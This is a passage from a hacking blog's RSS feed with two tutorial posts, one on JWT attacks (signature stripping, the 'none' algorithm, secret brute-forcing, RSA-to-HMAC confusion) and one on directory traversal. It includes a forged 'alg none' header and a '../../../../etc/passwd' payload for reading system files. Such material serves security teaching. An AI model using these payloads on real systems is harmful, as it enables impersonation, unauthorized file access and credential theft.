<pre class="wp-block-code"><code>username:password
</code></pre>



<p class="wp-block-paragraph">That&#8217;s one of the <strong>biggest downfalls</strong> of using HTTP Basic Auth. Each time you send a request, your clear-text username and password are sent as a Base64 encoded authentication header, making it very susceptible to <strong>eavesdropping attacks</strong> if the connection is not secured with <strong>HTTPS</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">JSON Web Token (JWT)</h2>



<p class="wp-block-paragraph"><strong>JSON Web Tokens (JWTs)</strong> are extremely popular among API endpoints as they are easy to implement and understand.</p>



<p class="wp-block-paragraph">When a user attempts to log in, the system sends its credentials to the back-end API. The backend verifies the credentials and, if they are correct, it generates a <strong>JWT token</strong>. This token is then sent back to the user. After that, any subsequent request sent to the API will include this JWT token to prove the user&#8217;s identity.</p>



<p class="wp-block-paragraph">A JWT token is made up of <strong>three parts separated by dots (<code>.</code>)</strong>:</p>



<pre class="wp-block-code"><code>&#91;HEADER]. &#91;PAYLOAD] . &#91;SIGNATURE]
</code></pre>



<p class="wp-block-paragraph">Example Token:</p>



<pre class="wp-block-code"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</code></pre>



<p class="wp-block-paragraph">The token can easily be decoded using a <strong>Base64 decoder</strong>. Security professionals often use tools like <strong>jwt.io</strong> to inspect these tokens.</p>



<h3 class="wp-block-heading">Anatomy of a JWT</h3>



<ol start="1" class="wp-block-list">
<li><strong>Header:</strong> The first part of the token is the header. This is where you specify the <strong>algorithm (<code>alg</code>)</strong> used to generate the signature (e.g., <code>HS256</code>, <code>RS256</code>).</li>



<li><strong>Payload:</strong> The second part of the token is the payload. This is where you specify the <strong>information used for access control</strong> (e.g., user ID, roles, expiry time). In the example above, the payload section has a variable called <strong><code>name</code></strong>, which is used to determine who the user is when authenticating.</li>



<li><strong>Signature:</strong> The last part of the token is the signature. This value is used to ensure the token <strong>has not been modified or tampered with</strong>. The signature is created by concatenating the Base64-encoded Header and Payload sections (separated by a dot) and then signing this value using the algorithm specified in the header, along with a secret key.</li>
</ol>



<p class="wp-block-paragraph">If an attacker were able to <strong>sign their own key</strong>, they would be able to <strong>impersonate any user</strong> on the system since the backend will trust whatever information is in the payload section. There are several different attacks which attempt to achieve this, as shown in the below sections.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">JWT Attack Methodologies</h2>



<h3 class="wp-block-heading">1. Deleted Signature (Signature Stripping)</h3>



<p class="wp-block-paragraph">Without a signature, anyone could modify the payload section, completely bypassing the authentication process. If you <strong>remove the signature</strong> from a JWT token and the modified token is <strong>still accepted</strong> by the server, you have successfully bypassed the verification process. This means you can modify the payload section to anything you want (e.g., changing the <strong><code>name</code></strong> value from <strong><code>john doe</code></strong> to <strong><code>admin</code></strong>) and it will be accepted by the backend, potentially signing you in as the admin user.</p>



<h3 class="wp-block-heading">2. &#8220;None&#8221; Algorithm Attack</h3>



<p class="wp-block-paragraph">If you can tamper with the algorithm used to sign the token, you might be able to break the signature verification process. JWT supports a <strong><code>none</code> algorithm</strong> (intended originally for debugging purposes). If the header is modified to specify the <code>none</code> algorithm, any JWT token will be valid as long as the <strong>signature is missing or empty</strong>.</p>



<p class="wp-block-paragraph"><strong>Modified Header (Base64 decoded):</strong></p>



<pre class="wp-block-code"><code>{"alg":"none","typ":"JWT"}
</code></pre>



<p class="wp-block-paragraph">This attack essentially tells the server, &#8220;Don&#8217;t verify the signature.&#8221; This attack can be done manually or by using a Burp plugin such as &#8220;<strong>JSON Web Token Attacker</strong>.&#8221;</p>



<h3 class="wp-block-heading">3. Brute Force Secret Key</h3>



<p class="wp-block-paragraph">JWT tokens will either use an <strong>HMAC</strong> (Symmetric) or <strong>RSA</strong> (Asymmetric) algorithm to verify the signature.</p>



<p class="wp-block-paragraph">If the application is using an <strong>HMAC</strong> algorithm (like HS256), it uses a <strong>single secret key</strong> when generating the signature. If you can <strong>guess this secret key</strong>, you will be able to generate signatures, allowing you to forge your own tokens. This is often successful if the key is weak or common. There are several open-source projects that can be used to crack these keys, often by using dictionary attacks (list goes on for days, just search GitHub for the words <strong><code>jwt cracker</code></strong>):</p>



<ul class="wp-block-list">
<li><strong><a href="https://github.com/AresS31/jwtcat" target="_blank" rel="noreferrer noopener">https://github.com/AresS31/jwtcat</a></strong></li>



<li><strong><a href="https://github.com/lmammino/jwt-cracker" target="_blank" rel="noreferrer noopener">https://github.com/lmammino/jwt-cracker</a></strong></li>



<li><strong><a href="https://github.com/mazen160/jwt-pwn" target="_blank" rel="noreferrer noopener">https://github.com/mazen160/jwt-pwn</a></strong></li>
</ul>



<h3 class="wp-block-heading">4. RSA to HMAC Algorithm Confusion</h3>



<p class="wp-block-paragraph">This is a more sophisticated attack against JWTs that use <strong>RSA (Asymmetric)</strong> signature verification.</p>



<ul class="wp-block-list">
<li><strong>RSA (e.g., RS256):</strong> Uses a <strong>private key</strong> to generate the signature and a separate <strong>public key</strong> for verification. The public key is typically available to the public.</li>



<li><strong>HMAC (e.g., HS256):</strong> Uses the <strong>same secret key</strong> for both signing and verifying the signature.</li>
</ul>



<p class="wp-block-paragraph"><strong>The Attack:</strong> An attacker changes the JWT header&#8217;s algorithm from an RSA type (e.g., <code>RS256</code>) to the symmetric HMAC type (e.g., <strong><code>HS256</code></strong>).</p>



<ol start="1" class="wp-block-list">
<li>The attacker changes the <strong><code>alg</code></strong> in the header from <strong><code>RS256</code></strong> to <strong><code>HS256</code></strong>.</li>



<li>The attacker uses the server&#8217;s <strong>public key</strong> (which is public information) as the <strong>secret key</strong> to sign their forged token.</li>



<li>When the server receives the token, the backend code reads the header and attempts to verify the token using the <strong><code>HS256</code></strong> algorithm.</li>



<li>Because the server&#8217;s code was originally configured for RSA, during verification, it retrieves the <strong>public key</strong> (which is publicly known) to use for the verification process.</li>



<li>Since the attacker signed the token <em>with the public key</em>, and the server attempts to verify it <em>with the public key</em> (as a symmetric key), the token passes the verification check. The attacker has successfully impersonated any user.</li>
</ol>



<p class="wp-block-paragraph">The original header used the <code>RS256</code> algorithm, but the attacker changed it to use <strong><code>HS256</code></strong>. Next, the attacker changed their username to <strong><code>admin</code></strong> and signed the token using the server&#8217;s public key. When this is sent to the server, it will use the <code>HS256</code> algorithm to verify the token instead of <code>RS256</code>. Since the backend code was set up to use a public/private key, the public key will be used during the verification process, and the attacker&#8217;s forged token will pass.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Summary</h2>



<p class="wp-block-paragraph"><strong>JSON Web Tokens (JWTs)</strong> are a relatively new way to handle authentication and are relatively simple compared to older methods. However, even with this simplicity, there are several vulnerabilities that impact JWTs. If an attacker is able to <strong>forge their own token</strong>, it&#8217;s <strong>game over</strong>. This is why most of the attacks revolve around this methodology of token forgery.</p>
<p>The post <a href="https://awjunaid.com/books/authentication-flaws-compromising-user-identity/">Authentication Flaws: Compromising User Identity</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/authentication-flaws-compromising-user-identity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11331</post-id>	</item>
		<item>
		<title>Directory Traversal: Navigating the File System</title>
		<link>https://awjunaid.com/books/directory-traversal-navigating-the-file-system/</link>
					<comments>https://awjunaid.com/books/directory-traversal-navigating-the-file-system/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 12:24:21 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11322</guid>

					<description><![CDATA[<p>Directory traversal is a vulnerability that occurs when developers improperly use user-supplied input to fetch files from the&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/directory-traversal-navigating-the-file-system/">Directory Traversal: Navigating the File System</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Directory traversal</strong> is a vulnerability that occurs when developers improperly use <strong>user-supplied input to fetch files</strong> from the underlying operating system. As you may know, the special characters <strong><code>../</code></strong> (dot-dot-slash) will traverse back one directory in a file path. If this string is used without proper sanitation to retrieve files, an attacker can exploit this to retrieve sensitive files by navigating up or down the file structure.</p>



<p class="wp-block-paragraph">For example, using <code>../</code> allows you to go one directory up from the current one.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">🧭 Exploiting Directory Traversal</h2>



<p class="wp-block-paragraph">If you see an application utilizing user-supplied input to fetch files, you should immediately test to see if it&#8217;s vulnerable to directory traversal. This can be fairly easy to spot.</p>



<h3 class="wp-block-heading">Identifying a Vulnerable Endpoint</h3>



<p class="wp-block-paragraph">A common indicator is a URL that uses a GET parameter to load a file:</p>



<ul class="wp-block-list">
<li><code>https://example.com/?page=index.html</code></li>
</ul>



<p class="wp-block-paragraph">In this example, there is a GET parameter called <strong><code>page</code></strong> which is used to load the contents of <strong><code>index.html</code></strong>. If improperly implemented, attackers can leverage the <strong><code>../</code></strong> technique to load any file they want.</p>



<h3 class="wp-block-heading">The Attack Mechanism</h3>



<p class="wp-block-paragraph">In the application&#8217;s code, the GET parameter <code>page</code> is loaded into a variable, which is then used by a function to open and read the file&#8217;s contents to the page. If there are <strong>no additional checks</strong> (like removing the <code>../</code> characters or ensuring the path stays within an allowed directory), it can be exploited.</p>



<h3 class="wp-block-heading">Proof of Concept (PoC)</h3>



<p class="wp-block-paragraph">To exploit this, an attacker provides a payload designed to move several directories up until the root of the file system is reached, and then specify the path to a known sensitive file.</p>



<p class="wp-block-paragraph">By repeatedly using <code>../</code>, you can traverse back up the file system hierarchy until you are at the root, and then access a sensitive file like the Linux user account information file:</p>



<pre class="wp-block-code"><code>../../../../etc/passwd
</code></pre>



<p class="wp-block-paragraph">As you can see, the vulnerability was exploited to retrieve the <strong>/etc/passwd</strong> file from the operating system. In case you didn&#8217;t know, the <strong>/etc/passwd</strong> file is used to store information on each user account in a Linux system.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Summary</h2>



<p class="wp-block-paragraph"><strong>Directory traversal</strong> is an easy bug for developers to mess up if they aren&#8217;t thinking correctly when coding. If an application uses user-supplied input to interact with files on the system, there is a high chance the endpoint is vulnerable to directory traversal.</p>



<p class="wp-block-paragraph">If you do find this vulnerability, make sure to look for sensitive files like:</p>



<ul class="wp-block-list">
<li><strong>Configuration files</strong> (which may contain credentials or API keys)</li>



<li><strong>Application source code</strong> (to find other vulnerabilities)</li>



<li>Files that could be overwritten (especially if the vulnerability is found in an <strong>upload functionality</strong>, potentially leading to <strong>Remote Code Execution</strong>).</li>
</ul>
<p>The post <a href="https://awjunaid.com/books/directory-traversal-navigating-the-file-system/">Directory Traversal: Navigating the File System</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/directory-traversal-navigating-the-file-system/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11322</post-id>	</item>
	</channel>
</rss>
